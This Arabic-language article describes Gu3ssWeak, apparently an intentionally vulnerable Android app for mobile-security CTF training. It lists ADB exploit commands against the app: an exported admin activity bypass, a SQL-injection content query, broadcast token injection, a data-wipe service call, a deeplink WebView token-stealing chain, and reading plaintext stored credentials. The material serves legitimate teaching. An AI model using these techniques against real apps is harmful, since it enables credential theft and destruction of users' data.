يمتلك الباحثون الأمنيون وصائدو الثغرات أداة جديدة للتدريب على مهاراتهم. يُعد تطبيق Gu3ssWeak تطبيقاً لنظام Android مصمماً عمداً بثغرات أمنية لأغراض الأبحاث الأمنية للأجهزة المحمولة، والتدريب على اكتشاف الثغرات، والتعلم بأسلوب «التقط العلم» (CTF). ويحتوي التطبيق على 21 ثغرة أمنية موثقة ترتبط بقائمة OWASP لأهم 10 مخاطر أمنية في الأجهزة المحمولة (OWASP Mobile Top 10).
التثبيت والإعداد
للبدء في استخدام تطبيق Gu3ssWeak، يمكن للمستخدمين استنساخ المستودع وبناء التطبيق باستخدام أداة Gradle. وتعمل الأوامر التالية على تجميع إصدار تصحيح الأخطاء وتثبيت ملف APK عبر أداة ADB:
git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apkأسلوب اللعب والأعلام
بمجرد تشغيل التطبيق، ينتقل مباشرة إلى قائمة المختبرات. ويمكن للمستخدمين اختيار مختبر ومحاولة استغلال الثغرة الأمنية عبر واجهة المستخدم، أو أداة ADB، أو كليهما. ويؤدي كل استغلال ناجح إلى التقاط العلم الخاص به تلقائياً.
بعد ذلك، يمكن للمستخدمين الضغط على خيار إرسال العلم (Submit Flag) للتأكيد، أو التحقق من التقدم في لوحة نتائج CTF (CTF Scoreboard). ويضم التطبيق 20 علماً في المجمل، بالإضافة إلى علم رئيسي يُمنح عند التقاطها جميعاً. ومع ذلك، تشير التعليمات أيضاً إلى ضرورة التقاط جميع الأعلام البالغ عددها 18 لفتح العلم الرئيسي.
التوثيق وطرق التخفيف
يتضمن المشروع عدة موارد لمساعدة المستخدمين على فهم الثغرات الأمنية وإصلاحها:
- ملف ARCHITECTURE.md: يشرح كيفية عمل كل مكوّن ضعيف داخلياً.
- ملف MITIGATIONS.md: يوفر إرشادات الإصلاح والتخفيف لكل ثغرة أمنية، بما في ذلك مفاهيم تصعيد إدراج الملفات المحلية (LFI) إلى تنفيذ الشيفرات البرمجية عن بُعد (RCE).
- ملف SECURITY.md: يوضح السياسة الأمنية والإفصاح المسؤول.
- ملف CHECKSUMS.txt: يحتوي على مجاميع اختبار SHA256 لملفات APK المبنية.
أمثلة على الاستغلال والأوامر
يقدم المصدر عدة أوامر ADB لتوضيح كيفية التفاعل مع الثغرات الأمنية في التطبيق. على سبيل المثال، يمكن للمستخدمين الوصول إلى لوحة إدارة مُصدَّرة لا تتطلب أي أذونات:
# Admin panel - exported, no permission
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivityadb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated trueوتستعرض أوامر أخرى نواقل هجوم مختلفة، تشمل:
- حقن الرموز عبر البث (Token injection via broadcast)
- مسح البيانات عبر خدمة مُصدَّرة (Data wipe via exported service)
- رابطاً عميقاً لسلسلة تنفيذ الشيفرات البرمجية عن بُعد عبر WebView
- قراءة بيانات الاعتماد المخزنة بنص عادي (Read plaintext stored credentials)
- مراقبة الأسرار المسجلة (Watch for logged secrets)
adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""
# Token injection via broadcast
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker
# Data wipe via exported service
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data
# Deeplink to WebView RCE chain
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"
# Read plaintext stored credentials
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml
# Watch for logged secrets
adb logcat | grep Gu3ssWeakالغرض التعليمي وإخلاء المسؤولية
صُمم تطبيق Gu3ssWeak لأغراض تعليمية بحتة، حيث إن جميع الثغرات الأمنية الموجودة فيه مقصودة وموثقة. ورغم أن التقنيات المعروضة تنطبق على التطبيقات الحقيقية، يؤكد المشروع على ضرورة اختبار الأنظمة التي يمتلكها المستخدم أو المُصرح له باختبارها فقط. ويُنصح المستخدمون بالرجوع إلى ملف SECURITY.md للاطلاع على إخلاء المسؤولية الكامل وإرشادات الإفصاح المسؤول.